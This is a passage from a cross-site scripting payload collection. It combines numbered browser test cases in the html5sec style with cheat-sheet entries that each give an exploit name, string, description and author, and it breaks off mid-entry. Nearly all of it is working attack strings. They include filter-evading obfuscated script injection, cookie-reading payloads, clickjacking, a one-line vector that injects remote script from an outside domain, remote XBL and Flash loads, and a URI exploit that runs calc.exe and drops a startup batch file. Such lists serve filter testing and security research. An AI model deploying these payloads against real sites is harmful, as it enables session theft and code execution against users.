id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]</div><div id="80"><style>*{x:expression(alert(80))}</style>//["'`-->]]>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]</div> <div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]>]</div> <div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]>]</div> <div id="87"><svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a> </svg>//["'`-->]]>]</div> <div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:alert(88)"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:alert(88)"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/> </svg>//["'`-->]]>]</div> <div id="89"><svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="alert(89)"/> <animate attributeName="onunload" to="alert(89)"/> </svg>//["'`-->]]>]</div> <div id="90"><!-- Up to Opera 10.63 --> <div style=content:url(test2.svg)></div> <!-- Up to Opera 11.64 - see link below --> <!-- Up to Opera 12.x --> <div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]>]</div> <div id="91">[A] <? foo="><script>alert(91)</script>"> <! foo="><script>alert(91)</script>"> </ foo="><script>alert(91)</script>"> [B] <? foo="><x foo='?><script>alert(91)</script>'>"> [C] <! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>"> [D] <% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]</div> <div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]>]</div> <div id="94"><svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler> </svg>//["'`-->]]>]</div> <div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg>//["'`-->]]>]</div> <div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe> <iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]>]</div> <div id="97"><!-- IE 5-9 --> <div id=d><x xmlns="><iframe onload=alert(97)"></div> <script>d.innerHTML+='';</script> <!-- IE 10 in IE5-9 Standards mode --> <div id=d><x xmlns='"><iframe onload=alert(2)//'></div> <script>d.innerHTML+='';</script>//["'`-->]]>]</div> <div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div> <div id="99">XXX<style> *{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ <!-- --><!--*{color:red} /* all UA */ *{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ </style>//["'`-->]]>]</div> <div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]</div> <div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>//["'`-->]]>]</div> <div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]</div> <div id="108"><!-- IE 5-8 standards mode --> <a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>"> <!-- IE 5-9 standards mode --> <!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"> <?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]>]</div> <div id="109"><svg xmlns="http://www.w3.org/2000/svg"> <a id="x"><rect fill="white" width="1000" height="1000"/></a> <rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/> </svg>//["'`-->]]>]</div> <div id="110"><svg xmlns="http://www.w3.org/2000/svg"> <path d="M0,0" style="marker-start:url(test4.svg#a)"/> </svg>//["'`-->]]>]</div> <div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div> <div id="113"><div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>//["'`-->]]>]</div> <div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]>]</div> <div id="115"><!--[if]><script>alert(115)</script --> <!--[if<img src=x onerror=alert(2)//]> -->//["'`-->]]>]</div> <div id="116"><div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(116)>">//["'`-->]]>]</div> <div id="117"><a href="http://attacker.org"> <iframe src="http://example.org/"></iframe> </a>//["'`-->]]>]</div> <div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <h1>Drop me</h1> </div> <iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div> <div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe> <textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]>]</div> <div id="120"><script> function makePopups(){ for (i=1;i<6;i++) { window.open('popup.html','spam'+i,'width=50,height=50'); } } </script> <body> <a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]</div> <div id="121"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <body style="background:gray"> <iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/> <svg:svg> <svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"> <svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/> <svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/> </svg:mask> </svg:svg> </body> </html>//["'`-->]]>]</div> <div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]</div> <div id="123"><span class=foo>Some text</span> <a class=bar href="http://www.example.org">www.example.org</a> <script src="http://code.jquery.com/jquery-1.4.4.js"></script> <script> $("span.foo").click(function() { alert('foo'); $("a.bar").click(); }); $("a.bar").click(function() { alert('bar'); location="http://html5sec.org"; }); </script>//["'`-->]]>]</div> <div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10 <script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]</div> <div id="125"><?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>//["'`-->]]>]</div> <div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]</div> <div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">alert(127)</handler> </svg>//["'`-->]]>]</div> <div id="128"><svg><style><img/src=x onerror=alert(128)// </b>//["'`-->]]>]</div> <div id="129"><svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'> <!-- Same effect with <image filter='...'> --> </svg>//["'`-->]]>]</div> <div id="130"><math href="javascript:alert(130)">CLICKME</math> <math> <!-- up to FF 13 --> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> <!-- FF 14+ --> <maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> </math>//["'`-->]]>]</div> <div id="131"><b>drag and drop one of the following strings to the drop box:</b> <br/><hr/> jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b> <br/><hr/> feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> <div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]>]</div> <div id="132"><!doctype html> <form> <label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label> <br> <input name="secret" type="password"> </form> <!-- injection --><svg height="50px"> <image xmlns:xlink="http://www.w3.org/1999/xlink"> <set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" /> <set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" /> <set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" /> <set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" /> </image> </svg>//["'`-->]]>]</div> <div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]</div> <div id="134"><xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(134)//'> <script> x='<%' </script> %>/ alert(2) </script> XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>//["'`-->]]>]</div> <div id="135"><?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> </template> </stylesheet>//["'`-->]]>]</div> <div id="136"><form action="" method="post"> <input name="username" value="admin" /> <input name="password" type="password" value="secret" /> <input name="injected" value="injected" dirname="password" /> <input type="submit"> </form>//["'`-->]]>]</div> <div id="137"><svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" /> </a>//["'`-->]]>]</div> <div id="138"><link rel="import" href="test.svg" />//["'`-->]]>]</div><div id="139"><iframe srcdoc="<img src=x:x onerror=alert(1)>" />//["'`-->]]>]</div>undefined A very short cross browser header injection Exploit Name: A very short cross browser header injection Exploit String: with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws' Exploit Description: This vector shows one of the shortest possible ways to inject external JavaScript into a website's header area. Exploit Tags: xss, short, header, injection Author Name: .mario Add onclick event hadler Exploit Name: Add onclick event hadler Exploit String: onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source); Exploit Description: This vector adds an onclick event handler to a tag and appends an obfuscated JS alert. Exploit Tags: general, JS breaking, basic, obfuscated, user interaction Author Name: kishor Advanced HTML injection locator Exploit Name: Advanced HTML injection locator Exploit String: <s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s>333</s><s>444</s> Exploit Description: This vector indicates HTML injections by stroked text. Exploit Tags: general, html breaking, injection Author Name: .mario Advanced XSS Locator Exploit Name: Advanced XSS Locator Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){// Exploit Description: Advanced XSS Locator Exploit Tags: general, html breaking, comment breaking, JS breaking Author Name: .mario Advanced XSS Locator for title-Injections Exploit Name: Advanced XSS Locator for title-Injections Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");} Exploit Description: This is a modified version of the XSS Locator from ha.ckers.org especially crafted to check for title injections. Exploit Tags: general, html breaking, comment breaking, JS breaking, title breaking Author Name: .mario aim: uri exploit Exploit Name: aim: uri exploit Exploit String: aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat" Exploit Description: This aim-uri executes the calc.exe on vulnerable systems Exploit Tags: URI exploits, gecko, injection, general Author Name: xs-sniper Backslash-obfuscated XBL injection - variant 1 Exploit Name: Backslash-obfuscated XBL injection - variant 1 Exploit String: <div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant 2 Exploit Name: Backslash-obfuscated XBL injection - variant 2 Exploit String: <div/style=\-\mo\z\-& #98\i\nd\in\g:& #92url(//busi& #110ess\i\nfo.& #99o.uk\/labs \/xbl\/xbl\ .xml\#xss)&> Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. All important characters are obfuscated by unclosed entities. Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant 3 Exploit Name: Backslash-obfuscated XBL injection - variant 3 Exploit String: <Q%^&*(£@!’」 style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. As we can see gecko based browsers accept various characters as valid tags. Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant 4 Exploit Name: Backslash-obfuscated XBL injection - variant 4 Exploit String: <div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Furthermore unclosed NBSP entities are used to obfuscate the string. Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant 5 Exploit Name: Backslash-obfuscated XBL injection - variant 5 Exploit String: <x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)> Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Between any character of the original payload null bytes are used to obfuscate. Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk BASE Exploit Name: BASE Exploit String: <BASE HREF="javascript:alert('XSS');//"> Exploit Description: Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like 」images/image.jpg」 rather than full paths. If the path includes a leading forward slash like 」/images/image.jpg」 you can remove one slash from this vector (as long as there are two to begin the comment this will work Exploit Tags: general, evil tags Author Name: ha.ckers.org Basic back ticked attribute breaker Exploit Name: Basic back ticked attribute breaker Exploit String: `> <script>alert(5)</script> Exploit Description: This vector breaks back ticked attributes. Exploit Tags: general, html breaking, basic Author Name: kishor Basic double quoted attribute breaker Exploit Name: Basic double quoted attribute breaker Exploit String: > <script>alert(4)</script> Exploit Description: This vector breaks double quoted attributes and produces an alert. Exploit Tags: general, html breaking Author Name: kishor Basic JS breaker Exploit Name: Basic JS breaker Exploit String: xyz onerror=alert(6); Exploit Description: This vector just fits between script tags and fires an alerts. Exploit Tags: general, JS breaking, basic Author Name: kishor Basic JS breaker variant 1 Exploit Name: Basic JS breaker variant 1 Exploit String: 1;a=eval;b=alert;a(b(/c/.source)); Exploit Description: This vector breaks JS integer assignments. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 2 Exploit Name: Basic JS breaker variant 2 Exploit String: 1];a=eval;b=alert;a(b(17));// Exploit Description: This vector breaks JS integer assignments in arrays. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 3 Exploit Name: Basic JS breaker variant 3 Exploit String: ];a=eval;b=alert;a(b(16));// Exploit Description: This vector breaks JS when placed in double quoted arrays. Exploit Tags: general, JS breaking Author Name: kishor Basic JS breaker variant 4 Exploit Name: Basic JS breaker variant 4 Exploit String: '];a=eval;b=alert;a(b(15));// Exploit Description: This vector breaks JS when embedded in single quoted arrays. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 5 Exploit Name: Basic JS breaker variant 5 Exploit String: 1};a=eval;b=alert;a(b(14));// Exploit Description: JS literal object breaker for integer properties. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 6 Exploit Name: Basic JS breaker variant 6 Exploit String: '};a=eval;b=alert;a(b(13));// Exploit Description: JS breaker for literal objects with single quoted string properties. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 7 Exploit Name: Basic JS breaker variant 7 Exploit String: };a=eval;b=alert;a(b(12));// Exploit Description: JS breaker for literal objects with double quoted string properties. Exploit Tags: general, JS breaking Author Name: kishor Basic JS breaker variant 8 Exploit Name: Basic JS breaker variant 8 Exploit String: a=1;a=eval;b=alert;a(b(11));// Exploit Description: Can be used when JS can be injected directly. Exploit Tags: general, JS breaking, basic, obfuscated Author Name: kishor Basic JS breaker variant 9 Exploit Name: Basic JS breaker variant 9 Exploit String: ;//%0da=eval;b=alert;a(b(10));// Exploit Description: Breaks double quoted strings, injects a comment, carriage return and finally an alert. Exploit Tags: general, JS breaking, CRLF Author Name: kishor Basic JS breaker variant 10 Exploit Name: Basic JS breaker variant 10 Exploit String: ';//%0da=eval;b=alert;a(b(9));// Exploit Description: Breaks single quoted strings, injects a comment, carriage return and finally an alert. Exploit Tags: general, JS breaking, basic, obfuscated, CRLF Author Name: kishor Basic single quoted attribute breaker Exploit Name: Basic single quoted attribute breaker Exploit String: '> <script>alert(3)</script> Exploit Description: This vector breaks single quoted attributes and appends an alert. Exploit Tags: general, html breaking, basic Author Name: kishor Basic title breaker Exploit Name: Basic title breaker Exploit String: </title><script>alert(1)</script> Exploit Description: This basic vector breaks HTML titles and injects JavaScript. Exploit Tags: general, html breaking, basic, title breaking Author Name: kishor BGSOUND Exploit Name: BGSOUND Exploit String: <BGSOUND SRC="javascript:alert('XSS');"> Exploit Description: BGSOUND Exploit Tags: general, evil tags Author Name: ha.ckers.org BODY background-image Exploit Name: BODY background-image Exploit String: <BODY BACKGROUND="javascript:alert('XSS');"> Exploit Description: BODY image Exploit Tags: general, evil tags Author Name: ha.ckers.org BODY ONLOAD Exploit Name: BODY ONLOAD Exploit String: <BODY ONLOAD=alert('XSS')> Exploit Description: BODY tag (I like this method because it doesn't require using any variants of 」javascript:」 or 」<SCRIPT...」 to accomplish the XSS attack) Exploit Tags: general, evil tags Author Name: ha.ckers.org Camouflaged comment injection with JS link Exploit Name: Camouflaged comment injection with JS link Exploit String: <!-- <A href=" - --><a href=javascript:alert:document.domain >test--> Exploit Description: This vector evades filters by camouflaging as a comment and inhabiting a JS link. Exploit Tags: general, obfuscated, comment breaking, internet explorer Author Name: thespanner.co.uk Case Insensitive Exploit Name: Case Insensitive Exploit String: <IMG SRC=JaVaScRiPt:alert('XSS')> Exploit Description: Case insensitive XSS attack vector. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Character Encoding Example Exploit Name: Character Encoding Example Exploit String: <%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C Exploit Description: All of the possible combinations of the character 」<」 in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Closing JS Tag in JS String assignment Exploit Name: Closing JS Tag in JS String assignment Exploit String: <script> var a = "</script> <script> alert('XSS !'); </script> <script>"; </script> Exploit Description: For some reason, Firefox picks up the script closing tag in the quoted string and then proceeds to process the remaining script tags as code. Exploit Tags: general, gecko, obfuscated, evil tags Author Name: t3rmin4t0r Commented-out Block Exploit Name: Commented-out Block Exploit String: <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--> Exploit Description: Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. Exploit Tags: general, obfuscated, conditional comments, internet explorer Author Name: ha.ckers.org Comment-breaker using obfuscated JavaScript Exploit Name: Comment-breaker using obfuscated JavaScript Exploit String: */a=eval;b=alert;a(b(/e/.source));/* Exploit Description: This vector creates an alert by breaking multiline comments. Exploit Tags: general, comment breaking, JS breaking Author Name: kishor Conditional style injection for IE Exploit Name: Conditional style injection for IE Exploit String: width: expression((window.r==document.cookie)?'':alert(r=document.cookie)) Exploit Description: This vector uses JavaScript conditional statements to inject an alert into CSS properties - it was once used as a PoC for a vulnerability in Stefan Di Paolos data binding example. Exploit Tags: general, obfuscated, internet explorer, style injection Author Name: DoctorDan Content Replace Exploit Name: Content Replace Exploit String: <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> Exploit Description: Content replace as an attack vector (assuming 」http://www.google.com/」 is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (」java&#x09;script:」 was converted into 」java	script:」. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Cookie Manipulation Exploit Name: Cookie Manipulation Exploit String: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> Exploit Description: Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). Exploit Tags: general, evil tags Author Name: ha.ckers.org DIV background-image 1 Exploit Name: DIV background-image 1 Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Exploit Description: Div background-image Exploit Tags: general, evil tags, style injection Author Name: ha.ckers.org DIV background-image 2 Exploit Name: DIV background-image 2 Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Exploit Description: Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) Exploit Tags: general, evil tags, style injection Author Name: ha.ckers.org DIV expression Exploit Name: DIV expression Exploit String: <DIV STYLE="width: expression(alert('XSS'));"> Exploit Description: Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and 」expression」 Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org DIV w/Unicode Exploit Name: DIV w/Unicode Exploit String: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> Exploit Description: DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Double open angle brackets Exploit Name: Double open angle brackets Exploit String: <IFRAME SRC=http://ha.ckers.org/scriptlet.html < Exploit Description: This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't Exploit Tags: general, evil tags, injection, gecko Author Name: ha.ckers.org Dword Encoding Exploit Name: Dword Encoding Exploit String: <A HREF="http://1113982867/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Embed Flash Exploit Name: Embed Flash Exploit String: <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> Exploit Description: Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=」never」 and allownetworking=」internal」 it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Embedded Carriage Return Exploit Name: Embedded Carriage Return Exploit String: <IMG SRC="jav
ascript:alert('XSS');"> Exploit Description: Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Embedded Encoded Tab Exploit Name: Embedded Encoded Tab Exploit String: <IMG SRC="jav	ascript:alert('XSS');"> Exploit Description: Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Embedded Newline Exploit Name: Embedded Newline Exploit String: <IMG SRC="jav
